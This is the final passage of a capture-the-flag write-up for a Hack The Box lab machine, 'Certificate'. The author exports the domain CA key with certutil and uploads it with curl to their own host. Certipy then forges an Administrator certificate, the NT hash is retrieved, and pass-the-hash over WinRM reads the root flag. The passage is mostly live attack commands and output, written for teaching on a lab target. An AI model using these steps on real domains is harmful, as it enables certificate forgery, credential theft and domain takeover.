C:\Windows NT SERVICE\TrustedInstaller:(F)
           NT SERVICE\TrustedInstaller:(CI)(IO)(F)
           NT AUTHORITY\SYSTEM:(M)
           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
           BUILTIN\Users:(M)
           BUILTIN\Users:(OI)(CI)(IO)(F)
           BUILTIN\Pre-Windows 2000 Compatible Access:(RX)
           BUILTIN\Pre-Windows 2000 Compatible Access:(OI)(CI)(IO)(GR,GE)
           CREATOR OWNER:(OI)(CI)(IO)(F)
           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

Fail

The next step is to drop a DLL at C:\Windows\System32\spool\drivers\x64\3, but the directory does not exist, and I lack permission to create it.

1
2
3
4
5
evil-winrm-py PS C:\Users\Ryan.K> dir C:\Windows\System32\spool\drivers\x64\3
Cannot find path 'C:\Windows\System32\spool\drivers\x64\3' because it does not exist.
evil-winrm-py PS C:\Windows\System32> New-Item -ItemType Directory -Path "C:\Windows\System32\spool\drivers\x64\3" -Force
Access to the path 'x64' is denied.
Access to the path '3' is denied.

Success

Since I have modify (M) permissions on C:\Windows, I can download the CA certificate, enabling me to forge the Administrator’s certificate—another hint from the box’s name. Compromising the CA certificate can result in full domain takeover.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
evil-winrm-py PS C:\Users\Ryan.K\Documents> certutil -exportPFX my "Certificate-LTD-CA" cert.pfx
my "Personal"
================ Certificate 3 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file cert.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.

I’ll transfer cert.pfx to my box. With the domain’s CA certificate, I can forge certificates for any user.

1
evil-winrm-py PS C:\Users\Ryan.K\Documents> curl.exe -X POST -F "[email protected]" http://10.10.14.203:8000/upload
1
"10.10.11.71 - - [26/Sep/2025 03:05:41] [Uploaded] "cert.pfx" --> /home/simon/HTB/Hard/Certificate/cert.pfx

To forge a certificate for Administrator, I’ll use Certipy.

1
2
3
4
5
➜  Certificate certipy forge -ca-pfx cert.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=CERTIFICATE,DC=HTB'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

With the forged certificate, I can now request the TGT and NT hash of Administrator.

1
2
3
4
5
6
7
8
9
10
11
12
➜  Certificate certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: '[email protected]'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
1
2
3
➜  Certificate nxc winrm certificate.htb -u administrator -H d804304519bf0143c14cbf1c024408c6
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\administrator:d804304519bf0143c14cbf1c024408c6 (Pwn3d!)

I can grab the root.txt.

1
2
3
4
5
➜  Certificate nxc winrm certificate.htb -u administrator -H d804304519bf0143c14cbf1c024408c6  -X "type C:\Users\Administrator\Desktop\root.txt"
WINRM       10.10.11.71     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.10.11.71     5985   DC01             [+] certificate.htb\administrator:d804304519bf0143c14cbf1c024408c6 (Pwn3d!)
WINRM       10.10.11.71     5985   DC01             [+] Executed command (shell type: powershell)
WINRM       10.10.11.71     5985   DC01             82a7255efdade4420b93db1e3924e90a

Thanks for reading writeup.

This post is licensed under CC BY 4.0 by the author.